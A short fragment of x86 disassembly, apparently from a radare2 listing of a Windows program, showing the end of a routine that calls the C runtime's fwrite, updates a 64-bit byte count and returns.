call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc